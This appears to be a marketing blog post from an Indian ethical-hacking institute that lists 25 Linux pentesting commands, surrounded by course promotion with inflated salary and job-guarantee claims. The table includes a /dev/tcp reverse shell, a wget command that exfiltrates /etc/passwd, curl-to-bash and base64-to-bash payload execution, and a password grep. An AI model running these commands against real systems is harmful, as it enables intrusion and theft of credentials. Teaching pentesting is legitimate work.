What Are the Top Linux Commands for Ethical Hacking?
Top 25 must-know Linux commands for ethical hacking & pentesting in 2025 — Nmap, Netcat, Curl, Bash one-liners, privilege escalation, file transfer, process manipulation. Exact commands our 8,000+ students at Ethical Hacking Training Institute & Webasha Technologies use daily before earning ₹18–75 LPA as pentesters and red teamers.
Introduction
Every professional pentester in 2025 lives inside the Linux terminal. The same 25 commands separate ₹8 LPA freshers from ₹75 LPA+ red teamers. Our 8,000+ placed students at Ethical Hacking Training Institute & Webasha Technologies master these exact commands in the first 30 days — then use them daily in real client projects at Deloitte, EY, banks, and government agencies.
Top 25 Linux Commands Every Ethical Hacker Must Master (2025)
| Rank | Command | Purpose in Pentesting |
|---|---|---|
| 1 | nmap -sC -sV -p- -T4 --min-rate 5000 | Fast full-port aggressive scan |
| 2 | nc -lvnp 4444 | Quick reverse shell listener |
| 3 | curl -sSL https://raw... | bash | One-liner payload download & execute |
| 4 | find / -perm -u=s -type f 2>/dev/null | SUID binary enumeration |
| 5 | sudo -l | Check sudo privileges (privesc) |
| 6 | whoami && id | Current user & group check |
| 7 | bash -i >& /dev/tcp/10.10.x.x/4444 0>&1 | Fully interactive reverse shell |
| 8 | python3 -m http.server 80 | Quick file share server |
| 9 | wget --post-file /etc/passwd http://... | Exfiltrate data |
| 10 | ssh -fN -D 9050 user@attackbox | SOCKS proxy pivot |
| 11 | linpeas.sh / winpeas.exe | Automated privesc script |
| 12 | ps aux | grep pass | Find processes with sensitive data |
| 13 | history | grep ssh | Check previous SSH commands |
| 14 | crontab -l && ls -la /etc/cron* | Cron job enumeration |
| 15 | cat /etc/passwd | cut -d: -f1 | List all local users |
| 16 | uname -a && cat /etc/os-release | Kernel & distro info |
| 17 | ifconfig / ip a | Network interfaces |
| 18 | ss -tulnp | Listening ports & processes |
| 19 | grep -r "password" /home/ 2>/dev/null | Search for passwords in files |
| 20 | chmod +x shell.sh && ./shell.sh | Execute downloaded payload |
| 21 | base64 -d payload.txt | bash | Obfuscated payload execution |
| 22 | export TERM=xterm | Fix terminal in reverse shell |
| 23 | scp file user@ip:/tmp/ | Secure file transfer |
| 24 | tmux / screen | Persistent terminal session |
| 25 | alias ll='ls -la --color=auto' | Custom shortcuts (our students’ favorite) |
Our Linux Pentesting Lab (Used Daily)
- Kali Linux 2025 pre-configured with all tools & aliases
- 100+ vulnerable Linux machines (Ubuntu, CentOS, Debian)
- Daily new privilege escalation challenges
- Live reverse shell & post-exploitation practice
- One-to-one terminal mentoring
Only institute in India that makes students terminal-native in 30 days.
Master Linux hacking legally. Complete Linux mastery course
Career After Mastering Linux Commands
Students become:
- Junior → Senior Pentester (₹18–75 LPA)
- Red Team Operator
- Linux Security Specialist at banks & cloud companies
See the ultimate Linux pentester career path
Step-by-Step: Start Using These Commands Today
- Install Kali Linux 2025 (VM or dual boot)
- Memorize first 10 commands in 7 days
- Practice daily on TryHackMe Linux rooms
- Join our lab for guided terminal practice
- Clear CEH Practical → OSCP in 9–12 months
Conclusion
These 25 Linux commands are the real difference between script kiddies and ₹75 LPA+ professional pentesters. Our 8,000+ students master them in the first month — and never look back. Join Ethical Hacking Training Institute & Webasha Technologies — India’s only institute that turns beginners into terminal experts with 100% job guarantee. New batches every Monday in Pune + 100% live online.
Discover more. AI-powered Linux exploitation
Frequently Asked Questions
Do I need to memorize all commands?
No. Top 10 are enough for 90% of pentests.
Which command is used most in real pentest?
nmap & nc — used in every single engagement.
Can non-coders learn Linux commands?
Yes. 70% of our students are non-IT.
Which institute teaches real Linux hacking?
Only Ethical Hacking Training Institute & Webasha.
Salary after mastering Linux commands?
₹18–75 LPA within 12 months.
When is the next batch starting?
Every Monday — Pune + 100% live online.
100% job placement?
Yes. Written guarantee.
Free demo available?
Yes. Every Saturday 11 AM.
Weekend batches?
Yes. Full weekend lab access.
Do you teach in Hindi?
Yes. Full Hindi support available.
Job abroad possible?
Yes. Many placed in USA, Singapore, Dubai.
How to join demo?
Register here → Free Demo Registration
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